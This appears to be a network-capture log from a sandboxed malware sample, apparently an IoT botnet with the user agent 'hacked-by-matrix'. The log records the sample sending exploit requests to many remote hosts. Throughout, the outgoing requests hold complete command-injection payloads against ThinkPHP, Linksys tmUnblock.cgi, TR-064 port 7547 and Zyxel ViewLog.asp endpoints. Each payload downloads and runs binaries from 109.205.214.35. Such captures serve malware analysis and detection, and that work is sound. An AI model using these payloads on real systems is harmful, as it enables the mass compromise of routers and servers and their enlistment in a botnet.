69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>
Mar 21, 2024 05:23:46.037211895 CET	1020	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 769 date: Thu, 21 Mar 2024 04:23:38 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1994	192.168.2.13	57042	95.71.118.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.972376108 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:39.180233002 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:40.588747025 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:43.533334017 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:49.168209076 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1995	192.168.2.13	47534	212.46.14.7	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.168517113 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:38.378369093 CET	490	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:23:38 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Strict-Transport-Security: max-age=31536000; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1996	192.168.2.13	47598	172.65.156.60	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.181715965 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1997	192.168.2.13	47202	98.50.228.27	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.231414080 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1998	192.168.2.13	53836	172.65.86.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.278608084 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1999	192.168.2.13	51640	172.66.194.72	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.278701067 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:38.796278954 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2000	192.168.2.13	45298	152.170.146.6	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.310863018 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:39.083350897 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2001	192.168.2.13	43292	206.238.237.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.884584904 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2002	192.168.2.13	60354	200.234.153.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.917788029 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:39.040334940 CET	874	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:23:38 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 33 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:23:38 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2003	192.168.2.13	60072	200.38.247.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.931212902 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2004	192.168.2.13	47170	213.176.109.232	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.971925974 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:39.132327080 CET	400	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Thu, 21 Mar 2024 04:23:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: waf_404=579d6216-4ead-405a-9634-d07a442b4f71; Max-Age=300; Path=/; HttpOnly Cache-Control: no-cache, no-store x-frame-options: sameorigin Data Raw: 35 36 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 68 6f 73 74 5f 6e 6f 74 5f 66 6f 75 6e 64 5f 65 72 72 6f 72 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 56<html><body><script>document.location='/host_not_found_error';</script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2005	192.168.2.13	40804	213.251.171.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.972266912 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2006	192.168.2.13	34194	80.82.124.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:38.972393036 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:39.194360971 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: 